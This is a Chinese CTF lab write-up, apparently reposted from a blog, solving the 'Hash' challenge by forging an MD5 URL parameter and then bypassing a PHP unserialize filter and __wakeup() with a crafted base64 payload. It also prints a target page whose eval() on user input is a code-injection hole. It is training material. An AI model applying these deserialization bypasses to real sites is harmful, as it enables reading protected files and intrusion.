[i春秋]“百度杯”CTF比赛 十月场-Hash

Posted xhds

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[i春秋]“百度杯”CTF比赛 十月场-Hash相关的知识,希望对你有一定的参考价值。

前言

111

前言

涉及知识点:反序列化、

题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用

或者利用本文章提供的源码自主复现

前言

点击hahaha进入下一个页面

技术图片

进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag 

技术图片

 

我们分析URL key部分有个123 我们替换成122试试 试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现

http://地址/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb

 

 md5解密那个hash=kkkkkk01123  根据直觉把后三位替换成和我们key一致的 替换后hash=kkkkkk01122 然后cmd5把hash的值加密 重新组合url提交

//修改key hash的
payload:
http://地址/index.php?key=122&hash=e1ebb04a0a78afe23e2d542e72a25005

获得新的页面访问去。

技术图片

 

访问获得这个页面的源码

技术图片
 1  <?php
 2 class Demo {
 3     private $file = ‘Gu3ss_m3_h2h2.php‘;
 4 
 5     public function __construct($file) {
 6         $this->file = $file;
 7     }
 8 
 9     function __destruct() {
10         echo @highlight_file($this->file, true);
11     }
12 
13     function __wakeup() {
14         if ($this->file != ‘Gu3ss_m3_h2h2.php‘) {
15             //the secret is in the f15g_1s_here.php
16             $this->file = ‘Gu3ss_m3_h2h2.php‘;
17         }
18     }
19 }
20 
21 if (isset($_GET[‘var‘])) {
22     $var = base64_decode($_GET[‘var‘]);
23     if (preg_match(‘/[oc]:d+:/i‘, $var)) {
24         die(‘stop hacking!‘);
25     } else {
26 
27         @unserialize($var);
28     }
29 } else {
30     highlight_file("Gu3ss_m3_h2h2.php");
31 }
32 ?> 
View Code

 

 

 通过分析又发现了新的页面下一步我们就是要通过这个存在序列化漏洞的页面构造语法来获取the f15g_1s_here.php的源码。

技术图片

 

1.绕过_wakeup()这个函数 因为我们在反序列化时会判断这个函数是否存在如果存在就执行替换成下面的页面 所以我们要阻止它运行

绕过_wakeup参考:https://www.cnblogs.com/xhds/p/12243760.html

技术图片

 

 

 2.绕过过滤 首先这里是get接受之后进行base64的解码 有解码那我们构造后就要编码 ,然后正则表达式判断符不符合它们的条件 如果不符合则就能正常的执行unserialize()函数进行反序列化了

 技术图片

构造的序列化代码

$obj=new Demo(‘f15g_1s_here.php‘);
$s=serialize($obj);
$s=str_replace("4","+4",$s);
$s=str_replace(":1:",":8:",$s);
echo base64_encode($s);

 

序列化的payload:

http://URL/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

 

访问得到 f15g_1s_here.php 页面的源码 

 <?php
if (isset($_GET[‘val‘])) {
    $val = $_GET[‘val‘];
    eval(‘$value="‘ . addslashes($val) . ‘";‘);
} else {
    die(‘hahaha!‘);
}

?> 

 

 

 

前言

以上是关于[i春秋]“百度杯”CTF比赛 十月场-Hash的主要内容,如果未能解决你的问题,请参考以下文章

i春秋——“百度杯”CTF比赛 十月场——Login

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞文件包含网站绝对路径)

i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper php opcodesql 报错注入)

i春秋——“百度杯”CTF比赛 十月场——Not Found(http请求方法,client-ip伪造ip)

“百度杯”CTF比赛 十月场 签到题